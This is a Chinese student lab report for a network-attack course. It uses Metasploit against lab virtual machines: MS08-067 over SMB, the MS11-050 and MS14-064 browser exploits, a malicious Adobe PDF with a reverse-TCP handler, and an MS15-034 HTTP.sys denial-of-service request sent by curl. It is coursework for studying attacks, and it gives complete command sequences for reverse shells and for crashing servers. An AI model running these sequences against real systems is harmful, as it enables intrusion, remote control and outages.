2019-2020-2 20175226王鹏雲《网络对抗技术》Exp6 MSF基础应用
实验内容
- 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 1.1一个主动攻击实践,如ms08_067;
- 1.2 一个针对浏览器的攻击,如ms11_050;
- 1.3 一个针对客户端的攻击,如Adobe;
- 1.4 成功应用任何一个辅助模块
实验过程
实验准备即相关知识
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六种模块
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode
"背"过去- 主动渗透攻击:攻击某个系统服务
- 被动渗透攻击:攻击某个客户端应用
- 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提- 网络服务的扫描与查点
- 探查敏感信息泄露、Fuzz测试发掘漏洞
- 收集登录密码
- 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
- 由于系统无法精确计算
shellcode
的起始地址,所以加入nops
以增加攻击成功的概率
- 编码模块
Encoders
- 改变
payload
形状,使得不出现特定字符 - 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
- 改变
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行 - 查看六种模块源码目录
/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2016年产生的在windows平台下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年产生的在windows平台下的漏洞
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动armitage
armitage
- 启动服务器
- webgui
- 详情参考
4.实验准备
- 实验需要保持kali与各靶机之间的访问状态即能相互ping通
任务一、一个主动攻击实践
一、漏洞MS08_067
-
漏洞相关
- 时间:2008年底
- 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
- 受影响的操作系统:windows 2000/xp/server 2003/server 2008/vista/7 Beta
-
攻击过程
- 1.先用
search ms08_067
指令查询一下针对该漏洞可以运用的攻击模块:
- 2.用
use exploit/windows/smb/ms08_067_netapi
使用该模块,再使用show payloads
查看可以供我们使用的payload
- 3.我们的目的是为了获取靶机的shell,使用指令
set payload generic/shell_reverse_tcp
对payload进行设置:
- 4.接着使用指令
show options
查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址)
- 5.接着使用
exploit
指令开始攻击,攻击成功后获取了靶机的shell
- 1.先用
任务二、一个针对浏览器的攻击
一、ms11_050
-
原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
-
攻击步骤
- 输入命令如下:
use windows/browser/ms11_050_mshtml_cobjectelement //选择攻击模块
set payload windows/meterpreter/reverse_http //设置http反向连接
set SRVHOST 192.168.1.105 //设置靶机要回连的IP地址
set LHOST 192.168.1.105 //kali IP
set URIPATH 20175226wpy //统一资源标识符路径设置
exploit //发起渗透攻击
- 在浏览器输入http://192.168.1.105:8080/20175226wpy
- 攻击成功
二、ms14_064
-
原理
- Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
-
攻击步骤
- 输入命令如下:
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
info //查看详细信息(发现可攻击winXP和win7)
set SRVHOST 192.168.1.105 //设置攻方IP
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.105
set target 0 //设置winXP靶机
exploit //发起渗透攻击
- 将生成的URL地址在winXP的IE中打开,发现成功建立了个会话
- 此时可以用ctrl+c
退出当前状态,通过输入sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址
任务三、一个针对客户端的攻击
一、Adobe
-
攻击步骤
- 输入命令如下:
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.1.105 //kali IP
set LPORT 5226 //设置攻击端口
set FILENAME 5226.pdf //设置生成的pdf文件名
exploit //发起攻击
- 此时生成``5226.pdf``,将其移到windowsXP虚拟机中
- 控制台中输入back退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.1.105//kali IP
set LPORT 5226 //设置攻击端口
exploit //监听
- 靶机中打开pdf文件,kali中发现回连成功,输入dir确认
任务四、成功应用任何一个辅助模块
一、MS15-034
-
原理
- 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
-
攻击过程
- 靶机:windows server 2008 R2
- 首先需要安装IIS服务,win08安装好iis服务后访问80端口,检测是否存在漏洞:使用curl发送以下数据
curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"
- 在msf中执行过程如下,原理与之前的一样
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts 192.168.1.101
set threads 10
run
- 攻击开始后,win08瞬间重启,截图如下
实验结论
基础问题回答
(1)用自己的话解释什么是exploit,payload,encode.
- exploit就是载具,将真正要负责攻击的代码传送到靶机中。
- payload就是载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
- encode就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码
实验总结与反思
- 这次实验找了很多靶机和漏洞,虽然试了很多都没有成功。。。记忆最深的就是一个“gather/shodan_search模块,可以使用shodan来搜索网络摄像头”我觉得这个还挺有意思的可惜最后还是失败了,但是看了介绍和别人做成功的例子,真的背后发凉。当然通过这次实验也让我对MSF更加熟悉,也加强了解决问题的实践能力。